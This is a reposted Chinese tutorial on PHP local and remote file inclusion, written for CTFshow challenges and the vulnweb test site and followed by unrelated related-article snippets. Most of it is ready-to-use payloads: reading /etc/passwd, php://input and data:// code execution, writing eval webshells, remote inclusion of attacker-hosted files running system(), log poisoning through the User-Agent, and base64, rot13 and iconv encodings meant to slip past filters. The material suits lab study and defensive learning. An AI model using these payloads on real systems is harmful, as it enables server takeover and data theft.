Day50:WEB攻防-PHP应用文件包含LFIRFI伪协议编码算法无文件利用黑白盒

目录

文件包含-原理&分类&利用&修复

文件读取

文件写入

代码执行

远程利用思路

黑盒利用-VULWEB

白盒利用-CTFSHOW-伪协议玩法

78-php&http协议

79-data&http协议

80-81-日志包含

87-php://filter/write&加密编码

88-data&base64协议

117-php://filter/write&新的算法


知识点:

1、文件包含-原理&分类&危害-LFI&RFI

2、文件包含-利用-黑白盒&无文件&伪协议

文件包含-原理&分类&利用&修复

原理:程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞。

 <?php include "xx.xx";?> 这种是包含指定页面,不存在文件包含漏洞<?php include $_GET[x];?> 这种通过动态变量的传参才存在文件包含漏洞

分类:

  1. 本地包含-Local File Include-LFI
  2. 远程包含-Remote File Include-RFI

差异原因:代码过滤和环境配置文件开关决定

远程包含-Remote File Include-RFI(较少)
x.php?x=http://xxxxx/x.xx (要保证php.ini中allow_url_fopen和allow_url_include要为On)

白盒审计-白盒发现

  1. 可通过应用功能追踪代码定位审计
  2. 可通过脚本特定函数搜索定位审计
  3. 可通过伪协议玩法绕过相关修复等

PHP:include、require、include_once、require_once等,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行

require函数出现错误的时候,会直接报错并退出程序的执行

Java:java.io.File、java.io.FileReader等

ASP.NET:System.IO.FileStream、System.IO.StreamReader等

黑盒发现:主要观察参数传递的数据和文件名是否对应

URL中有path、dir、file、pag、page、archive、p、eng、语言文件等相关字眼

利用(无文件就是指目标没有上传点,只能包含服务器已经存在的文件)

本地利用思路:

  1. 配合文件上传(目标有上传点,自己上传一个恶意代码的文件)
  2. 无文件包含日志
  3. 无文件包含SESSION
  4. 无文件支持伪协议利用

参考:https://blog.csdn.net/unexpectedthing/article/details/121276653

文件读取

方式一:file:///etc/passwd

方式二:php://filter/read=convert.base64-encode/resource=phpinfo.php

文件写入

方式一:
php://filter/write=convert.base64-encode/resource=phpinfo.php  //这个需要代码里有两个参数才行

注:131要改为base64编码才行,图里是错误的

方式二:
php://input 
POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

代码执行

方式一:
php://input 
POST:<?php phpinfo();?>

方式二:
data://text/plain,<?php phpinfo();?>

方式三:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

远程利用思路

直接搭建一个可访问的远程URL包含文件(不能是脚本文件,其他后缀随意,可包含一句话getshell)

黑盒利用-VULWEB

http://testphp.vulnweb.com/showimage.php?file=index.php

白盒利用-CTFSHOW-伪协议玩法

https://ctf.show/challenges

78-php&http协议

方式一:
payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

方式二:
payload: ?file=php://input post:<?php system('tac flag.php');?>

方式三:
payload: ?file=http://www.xiaodi8.com/1.txt 
远程1.txt: <?php system('tac flag.php');?> //也可以写一句话木马连上去

79-data&http协议

方式一:
payload: ?file=data://text/plain,<?=system('tac flag.*');?>

方式二:
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

方式三:
payload: ?file=http://www.xiaodi8.com/1.txt 
1.txt:<?php system('tac flag.php');?>

80-81-日志包含

1、利用其他协议,如file,zlib等
2、利用日志记录UA特性包含执行

故利用日志记录UA信息,UA带入后门代码或者system代码,包含:/var/log/nginx/access.log

87-php://filter/write&加密编码

利用base64:

url编码2次:
php://filter/write=convert.base64-decode/resource=123.php 
content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

2、利用凯撒13(类似base64的加密方式):
url编码2次:php://filter/write=string.rot13/resource=2.php
content=<?cuc riny($_CBFG[1]);?>

88-data&base64协议

过滤PHP,各种符号,php代码编码写出无符号base64值

Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk

117-php://filter/write&新的算法

代理中并没有过滤php
生成脚本

<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>

与凯撒13加密差不多,只不过换了另外一种方式

Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/774515.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

17、GateWay和Sentinel继承实现服务限流

注&#xff1a;本篇文章主要参考周阳老师讲解的cloud进行整理的&#xff01; 1、需求说明 cloudalibaba-sentinel-gateway9528 保护 cloudalibaba-provider-payment9001 2、启动nacos服务器8848 startup.cmd -m standalone 3、启动sentinel服务器8080 java -jar sentinel-dash…

Linux系列之统计某个字符串出现次数并排序

业务场景 最近遇到一个流量异常调用的接口&#xff0c;所以需要通过后台日志查看接口调用情况&#xff0c;先统计今天内接口的调用次数&#xff0c;再具体到对应的设备号&#xff0c;就知道哪台设备有问题了&#xff0c;初步想到wc和awk命令来筛选统计&#xff0c;但是真正去写…

企业微信变更主体公证怎么弄?

企业微信变更主体有什么作用&#xff1f;现在很多公司都用企业微信来加客户&#xff0c;有时候辛辛苦苦积累了很多客户&#xff0c;但是公司却因为各种各样的原因需要注销&#xff0c;那么就需要通过企业微信变更主体的方法&#xff0c;把企业微信绑定的公司更改为最新的。企业…

python内置函数 V

python内置函数 V Python 解释器内置了很多函数和类型&#xff0c;任何时候都能使用。 V 名称描述vars返回当前局部符号表的字典。 vars() vars(object) 返回模块、类、实例或任何其它具有 __dict__ 属性的对象的 __dict__ 属性。 模块和实例这样的对象具有可更新的 __d…

恶意勒索软件VirLock,通过ApkAnalyser一键提取安卓应用APK敏感信息

恶意勒索软件VirLock&#xff0c;通过ApkAnalyser一键提取安卓应用APK敏感信息。 ############################# 免责声明&#xff1a;本文仅作收藏学习之用&#xff0c;亦希望大家以遵守《网络安全法》相关法律为前提学习&#xff0c;切勿用于非法犯罪活动&#xff0c;对于恶…

ES集群部署的注意事项

文章目录 引言I ES集群部署前期工作II 部署ES2.1 配置安全组2.2 创建ES用户和组2.3 下载安装ES2.4 修改内存相关配置III es集群添加用户安全认证功能3.1 生成 elastic-certificates.p123.2 创建 Elasticsearch 集群密码3.2 设置kibana的 elasticsearch帐号角色和密码3.3 logsta…

python和c语言的区别是什么

Python可以说是目前最火的语言之一了&#xff0c;人工智能的兴起让Python一夜之间变得家喻户晓&#xff0c;Python号称目前最最简单易学的语言&#xff0c;现在有不少高校开始将Python作为大一新生的入门语言。本萌新也刚开始接触Python&#xff0c;发现Python与其他语言确实有…

linux查找指定目录下包含指定字符串文件,包含子目录

linux查找指定目录下包含指定字符串的文件&#xff0c;包含子目录 linux查找指定目录下包含指定字符串的指定文件格式&#xff0c;包含子目录 指定目录 cd /home/www/linux查找指定目录下包含指定字符串的文件&#xff0c;包含子目录 grep -r "指定字符串"注释 gr…

无代码开发:公贝资产钉钉版助力电商平台和用户运营系统集成

{连接公贝资产钉钉版与营销系统} 公贝资产钉钉版可以轻松连接营销系统&#xff0c;实现资产管理与营销活动的有效结合。通过简单的连接操作&#xff0c;用户可以将公贝资产钉钉版中的资产信息与营销系统进行同步&#xff0c;实现信息的共享和更新。这样一来&#xff0c;营销团…

IntelliJ中的非JVM技术

Markdown&#xff1a;https://www.jetbrains.com/help/idea/markdown.html 支持CommonMark&#xff08;定制Markdown标准&#xff09;&#xff0c;IntelliJ默认捆绑了Markdown插件&#xff0c;所以可以学学这个文章&#xff0c; 以便可以更好的在IntelliJ中使用Markdown。JSON&…

测试开发工程师(QA)职业到底需要干些什么?part6:数据测试工程师QA

常见任务和工作内容 作为数据测试工程师QA&#xff08;Quality Assurance&#xff09;&#xff0c;您的主要职责是确保数据的质量、准确性和一致性。以下是数据测试工程师QA的一些常见任务和工作内容&#xff1a; 数据验证和准确性测试&#xff1a;您将负责验证数据的准确性和…

C++中的结构体数组

本文介绍C中的结构体数组&#xff0c;是建立在结构体和数组的知识基础上的&#xff0c;如果你对结构体不够熟悉&#xff0c;可以先看我的另一篇文章&#xff1a; C中的结构体 在C中&#xff0c;结构体&#xff08;struct&#xff09;是一种用户自定义的数据类型&#xff0c;它允…

Python基础教程:基本数据类型

基本数据类型 不可变数据(3 个):Number(数字)、String(字符串)、Tuple(元组) 可变数据(3 个):List(列表)、Dictionary(字典)、Set(集合) Numbers(数字) 数字数据类型用于存储数值。 他们是不可改变的数据类型,这意味着改变数字数据类型会分配一个新的对…

【爬虫基础】第1讲 网络爬虫基本知识

什么是网络爬虫 网络爬虫&#xff08;Web crawler&#xff09;是一种自动化程序&#xff0c;用于在互联网上收集信息。它可以通过扫描和解析网页的超链接&#xff0c;自动访问网页并抓取所需的数据。网络爬虫常用于搜索引擎和数据采集工具中。 作用 通过有效的爬虫手段批量采…

鸿蒙HarmonyOS应用开发——组件级配置

在开发应用时&#xff0c;需要配置应用的一些标签&#xff0c;例如应用的包名、图标等标识特征的属性。本文描述了在开发应用需要配置的一些关键标签。 应用包名配置 应用需要在工程的AppScope目录下的 app.json5配置文件 中配置bundleName标签&#xff0c;该标签用于标识应用…

班级综合测评管理系统的设计与实现|Springboot+ Mysql+Java+ B/S结构(可运行源码+数据库+设计文档)

本项目包含可运行源码数据库LW&#xff0c;文末可获取本项目的所有资料。 推荐阅读100套最新项目持续更新中..... 2024年计算机毕业论文&#xff08;设计&#xff09;学生选题参考合集推荐收藏&#xff08;包含Springboot、jsp、ssmvue等技术项目合集&#xff09; 目录 1. …

Vitest 单元测试方案

&#x1f525; 交流讨论&#xff1a;欢迎加入我们一起学习&#xff01; &#x1f525; 资源分享&#xff1a;耗时200小时精选的「软件测试」资料包 &#x1f525; 教程推荐&#xff1a;火遍全网的《软件测试》教程 &#x1f4e2;欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1…

鸿蒙OS开发案例:【API9】遍历沙漏文件夹并输入文件的大小

1.获取打印文件大小 /*** 获取打印文件大小*/static getFileSize(byteNum: number) {if (byteNum < 0) {return "shouldnt be less than zero!";} else if (byteNum < 1024) {return ${byteNum.toFixed(3)}B;} else if (byteNum < 1048576) {return (byteNu…

Mysql各种日志管理

文章目录 事务日志事务日志的记录过程事务日志类型事务日志的相关变量 错误日志二进制日志功能作用文件的构成日志格式查看日志删除日志 通用日志慢查询日志 Mysql日志记录着数据库在运行过程中的各种操作&#xff0c;帮助管理员定位查找问题。 事务日志 事务日志(Transaction…

(原型与原型链)前端八股文修炼Day5

一 原型链的理解 原型链定义&#xff1a; 原型链是 JavaScript 中实现对象继承的关键机制之一&#xff0c;它是一种对象之间的关系&#xff0c;通过这种关系&#xff0c;一个对象可以继承另一个对象的属性和方法。 原型链的组成&#xff1a; 每个对象都有一个指向另一个对象的…